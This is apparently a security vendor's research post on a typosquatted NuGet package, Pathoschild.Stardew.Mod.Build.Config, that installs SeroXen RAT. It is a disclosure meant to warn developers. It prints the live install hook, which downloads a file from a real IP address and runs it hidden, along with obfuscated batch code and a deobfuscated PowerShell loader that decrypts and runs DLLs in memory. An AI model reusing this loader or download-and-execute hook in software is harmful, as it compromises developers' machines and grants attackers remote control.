Phylum Discovers SeroXen RAT in Typosquatted NuGet Package

Phylum Discovers SeroXen RAT in Typosquatted NuGet Package

On October 6, 2023, Phylum’s automated risk detection platform alerted us to a suspicious publication on NuGet. After working through several layers of obfuscation we ultimately discovered that this package was delivering SeroXen RAT.

Background

The package in question is Pathoschild.Stardew.Mod.Build.Config published by a user called Disti. The package is a typosquat of a legitimate package called Pathoschild.Stardew.ModBuildConfig. Notice that lack of dots in the “ModBuildConfig” part — the legitimate package does NOT contain the dots.

--cta--

The legitimate package has been around since 2016, contains dozens of versions, and has around 79K total downloads. The malicious package was released first on October 6, 2023 and has three versions with the following download stats:

Version Pathoschild.Stardew.Mod.Build.Config Downloads (last 6 weeks)
6.5.3 47
6.5.2 100,049
6.5.1 45

It’s worth noting that it’s highly unlikely this package has legitimately amassed 100K downloads in a matter of days. In fact, looking at the download stats by Client Name shows that 100,054 of the total downloads were done so by a client named “unknown”. This is likely some sort of download count increasing scheme in an effort to bolster credibility. According to Disti’s NuGet profile, they have 6 packages with 2.1M total downloads!

At first glance, this might look like a well-established profile but let’s take a quick look at another package of theirs, KucoinExchange.Net for example:

Version KucoinExchange.Net Downloads (last 6 weeks)
5.0.3 211,506
5.0.2 211,509
5.0.1 211,510

Again, we’re likely seeing some download inflation scheme. I’m sure the chances of having download counts spread nearly evenly in such large numbers across three versions in just 2 days is…small. We did take a look at Disti’s other package and discovered they are all trying to deploy SeroXen so stay clear of anything published by this user.

A Malicious Install Script

In NuGet, you can execute arbitrary code during installation of a package by including a tools/init.ps1 or tools/install.ps1 file in your project. Pathoschild.Stardew.Mod.Build.Config happens to contain both and they’re both identical. As an aside, you can also include a tools/uninstall.ps1 that will run when you uninstall the package. This package also has one of those, so this actor is clearly covering all their bases. Let’s take a look at tools/init.ps1:

$a = "<http://66.23.238.220/assets/images/icons/svg/x.bin>"
# IGBOAT Crew
$y = "$env:temp\\xxxxx.cmd"
$sleepTheGodFilePath = Join-Path $env:LocalAppData "Temp\\SleepTheGod"
if (-not (Test-Path $sleepTheGodFilePath)) {
    New-Item -ItemType File -Path $sleepTheGodFilePath -Force | Out-Null
    Invoke-WebRequest -Uri $a -OutFile $y -ErrorAction SilentlyContinue | Out-Null
    Start-Process "cmd" "/c $y" -WindowStyle Hidden
}

This script first defines a remote URL and sets it to $a and then sets $y to be a path to a .cmd file in the system’s temporary directory. Then $sleepTheGodFilePath is assigned a filepath within the local application data temporary folder. If a file at $sleepTheGodFilePathdoes not already exist, it creates it and then uses Invoke-WebRequest to download whatever is at the URL defined in $a and save it to the path defined in $y. Then it silently executes the downloaded .cmd file using Start-Process with the cmd. The -WindowStyle Hidden is an option that allows this script to not produce visible output or errors to the user, running covertly in the background.

The x.bin File

After downloading and inspecting this file, there are a few interesting things to note. First, it places it in an svg folder and assigns a .bin extension. However, it’s neither a binary file nor an svg file. It’s a highly obfuscated batch script that looks like this:

%HXzfquQaFxCQkDAdiQpJQhMlnyauhvLiKgDDKrKywvINMNcIKzSEjuIXKMprRVuJjSFDzxTpGrNUYyYYSRihaHyQXdrxBQfXBzcuHYJNcbxpdlzLlQYzmKhbTncTEVnnMoTYTfQrIUDyJHkldfJiqgjoPAYRvoIHmIcoQXpGzfoRGiRLDqnWLExfEdISFzxSLwKBcvTGnCjLpRighMNDAjviKxklOWBAhVGJXQhIWhiJTjnlwakrjuRZBaofIhpQBicTLXIQdFdRBkNZHzpmkHPmDdHwZBzopQHjGTYVRTNcNAXPMOWJpCduSoQfPLobFoZibcSmXSTQukXCGpiKcoynkMQPDuFGcjWXYnlivijVhNzgQOYXbcyPqlyPLCjdNNmINAaQDAPuEZFWMiznSfczkHfmpVVrzFISZpSPlIUbNEKPfYCaDwKgjmVFSnYgbWuyRlxVPhCKKBjgwPGPTunDvailSMxxhmzpJMyubdLTuzUiDoJChJLihpDoCJDDkEbVBrViRMlohTJwGAhcDuNXaPISJHpSaIh%
%HXzfquQaFxCQkDAdiQpJQhMlnyauhvLiKgDDKrKywvINMNcIKzSEjuIXKMprRVuJjSFDzxTpGrNUYyYYSRihaHyQXdrxBQfXBzcuHYJNcbxpdlzLlQYzmKhbTncTEVnnMoTYTfQrIUDyJHkldfJiqgjoPAYRvoIHmIcoQXpGzfoRGiRLDqnWLExfEdISFzxSLwKBcvTGnCjLpRighMNDAjviKxklOWBAhVGJXQhIWhiJTjnlwakrjuRZBaofIhpQBicTLXIQdFdRBkNZHzpmkHPmDdHwZBzopQHjGTYVRTNcNAXPMOWJpCduSoQfPLobFoZibcSmXSTQukXCGpiKcoynkMQPDuFGcjWXYnlivijVhNzgQOYXbcyPqlyPLCjdNNmINAaQDAPuEZFWMiznSfczkHfmpVVrzFISZpSPlIUbNEKPfYCaDwKgjmVFSnYgbWuyRlxVPhCKKBjgwPGPTunDvailSMxxhmzpJMyubdLTuzUiDoJChJLihpDoCJDDkEbVBrViRMlohTJwGAhcDuNXaPISJHpSaIh%
%HXzfquQaFxCQkDAdiQpJQhMlnyauhvLiKgDDKrKywvINMNcIKzSEjuIXKMprRVuJjSFDzxTpGrNUYyYYSRihaHyQXdrxBQfXBzcuHYJNcbxpdlzLlQYzmKhbTncTEVnnMoTYTfQrIUDyJHkldfJiqgjoPAYRvoIHmIcoQXpGzfoRGiRLDqnWLExfEdISFzxSLwKBcvTGnCjLpRighMNDAjviKxklOWBAhVGJXQhIWhiJTjnlwakrjuRZBaofIhpQBicTLXIQdFdRBkNZHzpmkHPmDdHwZBzopQHjGTYVRTNcNAXPMOWJpCduSoQfPLobFoZibcSmXSTQukXCGpiKcoynkMQPDuFGcjWXYnlivijVhNzgQOYXbcyPqlyPLCjdNNmINAaQDAPuEZFWMiznSfczkHfmpVVrzFISZpSPlIUbNEKPfYCaDwKgjmVFSnYgbWuyRlxVPhCKKBjgwPGPTunDvailSMxxhmzpJMyubdLTuzUiDoJChJLihpDoCJDDkEbVBrViRMlohTJwGAhcDuNXaPISJHpSaIh%
%bEyvMqrpcf%@%bEyvMqrpcf%s%bEyvMqrpcf%e%bEyvMqrpcf%t%bEyvMqrpcf% "SZHrFPffuPjOGuNUhfBUTLLuAgxfAxaQoSPuXNAUdpRbIKcmMCzTgTRGNNrWSAdwnSXlbTxTffpbrikoDJSyyGiUBIdKTaCdLVmokqJqFdnBcnNcaDTIggygiDjSnkzDcKQVwwEKAZqRRhqMvAhQHrydXFFgGoCSdjWRWqhfzIIFndOAKWXnDhvjMlyooVEJWWmhKYnDQBRziqorpFVhQNPxnlEjrrpaEzhQqgokhTVBOwAUxEyiAUqIGorWUDJXKovjJWBJOjAwqOgrlimnuGaiGXJBmRPcKxpYBPKXCnTOTvQqHAjlOTcDMLbkNzUxTUkuWHqVWOlFlMNLGQrmgbOoSlLolYJCSWuzIVSAINNAhXQzyQcwGgOpGwZkvBiyFilNSNCjxrdRONGuULpTvMwkHCrMwhEGcPvzlCfiOuyMCwaqofPiKOCqmAGQTomOnXmySGHRfHFBNhhKYBVPRUwONCLkwNNYFiXcIbWhWxCCIAbERvpSRWwRaXjQvUVQrfwdIECxbnqURrFMYGSAWuGhmFBjrGlBZjJ=%bEyvMqrpcf%@%bEyvMqrpcf%e%bEyvMqrpcf%c%bEyvMqrpcf%h%bEyvMqrpcf%o%bEyvMqrpcf% %bEyvMqrpcf%o%bEyvMqrpcf%f%bEyvMqrpcf%f%bEyvMqrpcf%"

This file is over 12K lines so the snippet above is just a very small portion of it. At first glance, it’s hard to tell what this file even is and it’s plausible if one were to open it in a text editor without scrutinizing it, one might think it is a binary file. However, this file uses several obfuscation techniques to make it look like a mess:

  1. It uses undefined variables to take up space
  2. Variables are used to build up other variables which are used in commands
  3. Variable substring replacement is used to make useful strings out of variables that look like nothing

In other words, they are deliberately inflating this file to make it unreadable. Just to get a sense of what’s going on though, take this line

%bEyvMqrpcf%@%bEyvMqrpcf%s%bEyvMqrpcf%e%bEyvMqrpcf%t%bEyvMqrpcf%

You’ll notice a bunch of %s in there. In a batch file, you can use %name% to reference an environment variable and, conveniently for this attacker, if the named variable doesn’t exist, it’s replaced with an empty string without error. Therefore, %bEyvMqrpcf% probably doesn’t exist as an environment variable on anyone’s system, so it’s effectively replaced with an empty string. Working through that reveals @set. This pattern is repeated through the file. The names change throughout the script, however, so you have to be careful with how you write your deobfuscator.

Working through this reveals that the batch file is constructing and subsequently executing a PowerShell script. The PowerShell script it built up is as follows:

function jITZm($nVacP) {
	$YEcJp = [System.Security.Cryptography.Aes]::Create();
	$YEcJp.Mode = [System.Security.Cryptography.CipherMode]::CBC;
	$YEcJp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
	$YEcJp.Key = [System.Convert]::FromBase64String('rsgl/MlG9RpV+f8a4O91CIDZB7uAmjlRZsiYva/VKtE=');
	$YEcJp.IV = [System.Convert]::FromBase64String('l0QnNI6RLMtaIunOWzJNKg==');
	$ublQu = $YEcJp.CreateDecryptor();
	$return_var = $ublQu.TransformFinalBlock($nVacP, 0, $nVacP.Length);
	$ublQu.Dispose();
	$YEcJp.Dispose();
	$return_var;
}
function XhiOz($nVacP) {
	$dJFVk = New-Object System.IO.MemoryStream(, $nVacP);
	$tPjrM = New-Object System.IO.MemoryStream;
	$dawTU = New-Object System.IO.Compression.GZipStream($dJFVk, [IO.Compression.CompressionMode]::Decompress);
	$dawTU.CopyTo($tPjrM);
	$dawTU.Dispose();
	$dJFVk.Dispose();
	$tPjrM.Dispose();
	$tPjrM.ToArray();
}
function szwqu($nVacP, $OeJLJ) {
	$QcBOA = [System.Reflection.Assembly]::Load([byte[]]$nVacP);
	$aHhbF = $QcBOA.EntryPoint;
	$aHhbF.Invoke($null, $OeJLJ);
}
$RXKsk = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);
foreach ($mewwS in $RXKsk) {
	if ($mewwS.StartsWith('SEROXEN'))
	{ $PpAgM = $mewwS.Substring(7); break;
	}
}
$vCEpW = [string[]]$PpAgM.Split('\\');
$yOgCY = XhiOz (jITZm ([Convert]::FromBase64String($vCEpW[0])));
$ZqKkr = XhiOz (jITZm ([Convert]::FromBase64String($vCEpW[1])));
szwqu $ZqKkr (, [string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
szwqu $yOgCY (, [string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));

For readability, we made some minor modifications to the PowerShell script above such formatting and we also had to reverse the method names because they were dynamically being reversed at runtime so they were hard to read. Ultimately though, this script finds the first line in the batch script which begins with “SEROXEN” and subsequently decrypts and decompresses two DLLs from base64 encoded strings on that line before executing them in the same PowerShell process. This is deploying the SeroXen RAT!

We were able to decrypt, decompress, and extract the DLLs. Here are their VirusTotal links:

Both of these DLLs use different obfuscation techniques and we went further to extract an executable from the first one called payload.exe. Here is its VirusTotal link:

payload.exe identifies itself as CSStub2, which uses yet another obfuscation technique. At this point we recognized that our exploration likely delved into aspects of SeroXen itself and exceeded the analytical depth necessary for this post and to identify the nature of this payload.

Summary

SeroXen is a newly emerged RAT advertised as a legitimate tool. It is marketed as a ready-to-use package, sold via a designated website making it easily accessible and deployable without the need for deep technical know-how. AT&T Cybersecurity has an excellent post about SeroXen RAT from May of 2023 that discusses the emergence of SeroXen and elaborates on static and dynamic analysis, mentioning its effective evasion from detection due to its fileless nature and utilization of several techniques to thwart virtualization and sandbox detection mechanisms. Coupled with encryption of subsequent payloads and anti-debugging techniques, SeroXen is a formidable threat.

The discovery of SeroXen RAT in NuGet packages only underscores how attackers continue to exploit open source ecosystems and the developers that use them. No ecosystem is safe from attackers. That’s the nature of them; they are open to everyone, good and bad.

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.